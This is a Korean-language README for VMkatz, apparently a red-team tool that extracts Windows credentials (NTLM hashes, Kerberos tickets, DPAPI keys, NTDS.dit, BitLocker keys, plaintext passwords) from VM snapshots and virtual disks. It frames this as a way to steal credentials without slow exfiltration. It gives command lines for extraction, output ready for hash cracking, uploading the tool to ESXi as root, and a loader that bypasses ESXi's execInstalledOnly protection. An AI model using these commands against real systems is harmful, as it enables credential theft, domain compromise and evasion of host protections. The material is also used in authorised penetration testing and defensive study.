
VM 메모리 스냅샷과 가상 디스크에서 Windows 자격 증명을 직접 추출합니다.
당신은 레드 팀 작전에 투입된 지 3주째입니다. 트래픽은 VPN을 거쳐, 네 개의 SOCKS 프록시를 통해 점프 박스로 연결된 후에야 대상 네트워크에 닿습니다. 모든 패킷이 우회 경로를 탑니다.
며칠간의 측면 이동 끝에 가상화 클러스터에 연결된 NAS에 도달했고, 디렉터리 목록이 달라 보입니다: .vmdk, .vmsn, .sav 파일이 줄지어 있습니다. 수백 기가바이트의 가상 머신 — 도메인 컨트롤러, 관리자 워크스테이션, 핵심 자산 — 이 바로 거기에 있습니다.
하지만 연결 속도는 200 KB/s로 간신히 버티고 있습니다. 100 GB 디스크 이미지 하나를 내려받는 데 6일이 걸리며, 지속적인 유출은 SOC에서 이상 징후를 감지하고 터널을 불태워 전체 체인이 붕괴될 위험을 매 시간마다 감수해야 합니다.
VMkatz는 그 자리에서 읽을 수 있는 것을 굳이 유출할 필요가 없어야 한다는 생각에서 탄생했습니다. VM 메모리 스냅샷과 가상 디스크에서 직접 Windows 비밀 — NTLM 해시, DPAPI 마스터 키, Kerberos 티켓, 캐시된 도메인 자격 증명, LSA 시크릿, NTDS.dit, BitLocker 키 — 을 추출합니다. NAS, 하이퍼바이저, VM 파일이 있는 모든 곳에서 말이죠.
단일 정적 바이너리, 약 3 MB. ESXi 호스트, Proxmox 노드 또는 NAS에 올려두고 .vmsn, .vmdk 또는 전체 VM 폴더를 지정하면 디스크 이미지가 아닌 자격 증명을 얻을 수 있습니다.
mimikatz가 구현한 9가지 SSP 자격 증명 공급자 모두:
추가: BitLocker FVEK 메모리 추출 (FVEc/Cngb 풀 태그 스캔).
$DPAPImk$ — 모드 15300/15310/15900/15910)대상 OS: Windows Server 2003 ~ Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).
# VMware 스냅샷에서 LSASS 자격 증명 추출
./vmkatz snapshot.vmsn
# 페이지 파일 해상도로 페이징된 자격 증명 처리
./vmkatz --disk disk.vmdk snapshot.vmsn
# 가상 디스크에서 SAM/LSA/DCC2 추출
./vmkatz disk.vmdk
# 도메인 컨트롤러 디스크에서 AD 해시 추출
./vmkatz --ntds dc-disk.qcow2
# VM 폴더를 지정하여 모든 항목 자동 검색
./vmkatz /path/to/vm-directory/
# 원시 레지스트리 하이브에서 추출
./vmkatz SAM SYSTEM SECURITY
# Hashcat 준비 해시로 출력
./vmkatz --format hashcat snapshot.vmsn
# Kerberos 티켓 내보내기
./vmkatz --kirbi snapshot.vmsn # .kirbi 파일
./vmkatz --ccache snapshot.vmsn # .ccache 파일
# dislocker용 BitLocker FVEK 내보내기
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# 경로 아래 모든 VM을 재귀적으로 스캔
./vmkatz -r /vmfs/volumes/datastore1/
# LSASS 미니덤프 파싱
./vmkatz lsass.dmp
# ESXi용 크로스 컴파일 (musl 정적)
cargo build --release --target x86_64-unknown-linux-musl
# 업로드 및 실행
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
VIB 보호(execInstalledOnly)가 활성화된 경우 Python 로더를 사용하세요 — 설정을 비활성화할 필요가 없습니다:
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
VIB 우회, VMFS 원시 장치 접근 및 자동 검색에 대한 자세한 내용은 docs/esxi.md를 참조하세요.
VMkatz는 모듈식입니다. 컴파일 시 기능을 활성화/비활성화할 수 있습니다:
cargo build --release # 전체 빌드
cargo build --release --no-default-features --features vmware # VMware 전용
cargo build --release --no-default-features --features "sam ntds.dit" # 디스크 전용
| 공급자 | 데이터 | 비고 |
|---|
| MSV1_0 | NT/LM 해시, SHA1 | 페이징된 항목을 위한 물리적 스캔 대체 |
| WDigest | 평문 비밀번호 | 연결 리스트 탐색 + .data 대체 |
| Kerberos | AES/RC4/DES 키, 티켓 (.kirbi/.ccache) | AVL 트리 탐색 + 해제된 세션에 대한 티켓 조각 수집 |
| TsPkg | 평문 비밀번호 | RDP 세션 전용 |
| DPAPI | 마스터 키 캐시 (GUID + 복호화된 키) | 오프라인 DPAPI 복호화를 위한 SHA1 마스터키 |
| SSP | 평문 자격 증명 | msv1_0.dll의 SspCredentialList |
| LiveSSP | 평문 자격 증명 | livessp.dll 필요 (Win8 이후 드물게 사용) |
| Credman | 저장된 자격 증명 | 해시 테이블 + 단일 리스트 열거 |
| CloudAP | Azure AD 토큰 | 로컬 전용 로그온의 경우 일반적으로 비어 있음 |
| 형식 | 확장자 | 출처 | 상태 |
|---|
| VMware 스냅샷 | .vmsn + .vmem | Workstation, ESXi | 테스트 완료 |
| VMware 임베디드 스냅샷 | .vmsn (.vmem 없음) | ESXi 일시 중단 | 테스트 완료 |
| VirtualBox 저장 상태 | .sav | VirtualBox | 테스트 완료 |
| QEMU/KVM savevm 상태 | 자동 감지 | Proxmox, QEMU | 테스트 완료 |
| QEMU/KVM ELF 코어 덤프 | .elf | virsh dump | 테스트 완료 |
| Hyper-V 저장 상태 | .vmrs | Hyper-V 2016+ | 미테스트 |
| VMware 가상 디스크 | .vmdk (스파스 + 플랫) | Workstation, ESXi | 테스트 완료 |
| VirtualBox 가상 디스크 | .vdi | VirtualBox | 테스트 완료 |
| QEMU/KVM 가상 디스크 | .qcow2 | QEMU, Proxmox | 테스트 완료 |
| Hyper-V 가상 디스크 | .vhdx, .vhd | Hyper-V | 테스트 완료 |
| VMFS-5/6 원시 SCSI 장치 | /dev/disks/... | ESXi (파일 잠금 우회) | 테스트 완료 |
| LVM 블록 장치 | /dev/... | Proxmox LVM-thin | 테스트 완료 |
| 원시 레지스트리 하이브 | SAM, SYSTEM, SECURITY | reg save | 테스트 완료 |
| 원시 NTDS.dit | ntds.dit + SYSTEM | 도메인 컨트롤러 | 테스트 완료 |
| LSASS 미니덤프 | .dmp | procdump, 작업 관리자 | 테스트 완료 |
| VM 디렉터리 | 모든 폴더 | 모든 파일 자동 검색 | 테스트 완료 |
| 형식 | 플래그 | 설명 |
|---|
text | --format text (기본값) | 세션 메타데이터가 포함된 전체 자격 증명 덤프 |
brief | --format brief | 자격 증명당 한 줄로 요약된 간결한 출력 |
ntlm | --format ntlm | DOMAIN\user:::hash::: pwdump 형식 |
hashcat | --format hashcat | 원시 해시: 모드 1000 (NTLM), 2100 (DCC2), 15300/15900 (DPAPI) |
csv | --format csv | 기계 판독 가능, 모든 필드 포함 |
| 기능 | 설명 | 기본값 |
|---|
vmware | VMware .vmsn/.vmem 스냅샷 지원 | 예 |
vbox | VirtualBox .sav 저장 상태 지원 | 예 |
qemu | QEMU/KVM ELF 코어 덤프 + Proxmox savevm | 예 |
hyperv | Hyper-V .vmrs/.bin/.raw 덤프 지원 | 예 |
sam | 디스크 추출 (SAM/LSA/DCC2) + 디스크 형식 핸들러 | 예 |
ntds.dit | NTDS.dit AD 추출. sam 필요 | 예 |
carve | 부분/잘린 메모리에서 저하된 추출 | 예 |
dump | 프로세스 메모리 덤프를 미니덤프로 추출 | 예 |
vmfs | ESXi SCSI 장치용 VMFS-5/6 원시 파서. sam 필요 | 예 |